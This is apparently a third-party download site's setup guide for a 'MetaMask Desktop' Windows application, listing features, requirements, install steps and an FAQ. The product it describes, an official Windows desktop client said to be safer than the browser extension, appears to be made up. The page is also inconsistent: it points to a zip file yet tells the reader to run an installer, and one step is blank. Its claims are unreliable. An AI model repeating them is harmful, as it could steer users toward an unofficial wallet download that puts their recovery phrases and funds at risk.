ProSoftware Hub
MetaMask Desktop Application — Download & Setup Guide
Version: 12.5.0 | License: Free (Open Source) | Platform: Windows 10/11 x64 | SHA-256:
a989a0146e826cd3797e38cf29cbcf8870ec2cceea50541e3eee1f933ede0cb9
Overview
MetaMask Desktop is the official desktop client of the MetaMask cryptocurrency wallet, the most widely used Ethereum and EVM-compatible chain wallet in the world. The desktop application for Windows 10/11 x64 provides a native alternative to the browser extension, offering improved security isolation, hardware wallet integration, and multi-account management.
MetaMask supports Ethereum mainnet, all EVM-compatible networks (Polygon, Arbitrum, Optimism, Base, BNB Chain, Avalanche, and 100+ custom networks), and Layer-2 scaling solutions. The wallet uses BIP-39/44 HD derivation with optional passphrase support and integrates with Ledger, Trezor, and GridPlus hardware wallets for cold storage signing.
The desktop client features a built-in token swap aggregator (MetaMask Swaps) routing through 1inch, Paraswap, and native DEXs, NFT management, and dApp connection via WalletConnect v2. The application is built on Electron with a Rust-based transaction simulation engine for pre-execution preview.
Key Features
- Ethereum & EVM Multi-Network Support — Manage assets on Ethereum, Polygon, Arbitrum, Optimism, Base, BNB Chain, Avalanche, and 100+ custom EVM networks from a single interface.
- Hardware Wallet Integration — Connect Ledger Nano X/S, Trezor Model T/One, and GridPlus Lattice1 via USB or QR code for cold storage transaction signing.
- MetaMask Swaps — Built-in DEX aggregator with price comparison across 1inch, Paraswap, Uniswap, Sushiswap, and Curve. Includes slippage protection and MEV-aware routing.
- NFT Management — View, send, and receive ERC-721 and ERC-1155 NFTs with metadata display, image rendering, and collection grouping.
- WalletConnect v2 — Connect to dApps via QR code or deep link with end-to-end encrypted session management and multi-chain support.
- Transaction Simulation — Preview transaction outcomes before signing: token balance changes, approval requirements, and potential failure reasons.
- Account & Address Book — Create unlimited HD accounts with custom names, color coding, and address book labels for frequently used addresses.
- Custom RPC & Network Management — Add custom EVM networks with RPC URL, chain ID, block explorer, and currency symbol. Import/export network configurations.
- Token Detection & Import — Automatic token balance detection on all supported networks. Manual token import by contract address with decimal and symbol verification.
- Security & Privacy — Local encryption of private keys with user password, optional cloud backup (encrypted), phishing detection via Etherscan domain blocklist, and transaction privacy mode.
System Requirements
| Component | Minimum | Recommended |
|---|---|---|
| OS | Windows 10 x64 (21H2) | Windows 11 x64 (23H2/24H2) |
| Processor | Intel Core i3 / AMD Ryzen 3 | Intel Core i5 / AMD Ryzen 5 |
| RAM | 4 GB | 8 GB |
| Storage | 500 MB free disk space | 1 GB SSD |
| Display | 1280x720 | 1920x1080 |
| Network | Broadband (5 Mbps) | Broadband (25+ Mbps) |
| USB | USB 2.0 (for hardware wallets) | USB 3.0 |
How to Download and Install
Step 1: Download the Installer
Click the Download badge above to visit the official MetaMask download page (metamask.io/download). Select “Download for Windows”. The file is approximately 200 MB.
Step 2: Verify the Checksum
Get-FileHash .\metamask-desktop-12.5.0-x64.zip -Algorithm SHA256
Compare with the hash listed at the top of this page.
Step 3: Run the Installer
Step 4: Complete Setup
- Choose “Create New Wallet” or “Import Secret Recovery Phrase”.
- If creating new: write down the 12-word Secret Recovery Phrase on paper. Never store digitally.
- Set a strong password (minimum 12 characters).
- Connect hardware wallet via Settings → Advanced → Connect Hardware Wallet.
- Add custom networks via Settings → Networks → Add Network.
Step 5: Post-Installation
- Enable “Auto-Lock” after 5 minutes: Settings → Security & Privacy.
- Set up “Phishing Detection” (enabled by default).
- Configure “Currency Conversion” preference (USD, EUR, etc.).
- Add frequently used addresses to the Address Book.
Troubleshooting & FAQ
Issue: dApp connection fails
Solution:
- Ensure MetaMask is unlocked.
- Check that the correct network is selected in the wallet.
- Try disconnecting and reconnecting via WalletConnect.
- Clear dApp connection history: Settings → Security & Privacy → Clear Activity Tab Data.
- Ensure no VPN or firewall is blocking WebSocket connections.
Issue: Transaction stuck pending
Solution:
- Check current gas prices on etherscan.io/gastracker.
- Speed up the transaction: click the pending transaction → “Speed Up” and set a higher gas price.
- If stuck for >1 hour, cancel the transaction by sending a 0 ETH transaction to yourself with the same nonce and higher gas.
Issue: Hardware wallet not detected
Solution:
- Ensure the hardware wallet is unlocked and the Ethereum app is open.
- For Ledger: disable “Browser Support” in the Ethereum app settings.
- Try a different USB port.
- Update hardware wallet firmware.
FAQ
Q: Is MetaMask Desktop free?
A: Yes. MetaMask is free and open-source. Network gas fees apply to transactions only.
Q: Is MetaMask Desktop safer than the browser extension?
A: Yes. The desktop application runs in an isolated Electron process, reducing exposure to browser-based attacks and malicious extensions.
Q: Can I use MetaMask without hardware wallet?
A: Yes. MetaMask supports software-only wallets, but hardware wallet integration is recommended for significant holdings.
Q: Which networks does MetaMask support?
A: All EVM-compatible networks: Ethereum, Polygon, Arbitrum, Optimism, Base, BNB Chain, Avalanche, Fantom, Celo, and 100+ custom networks.
Q: How do I recover my MetaMask wallet?
A: Use the 12-word Secret Recovery Phrase on any device with MetaMask installed. Your funds are on the blockchain, not on your PC.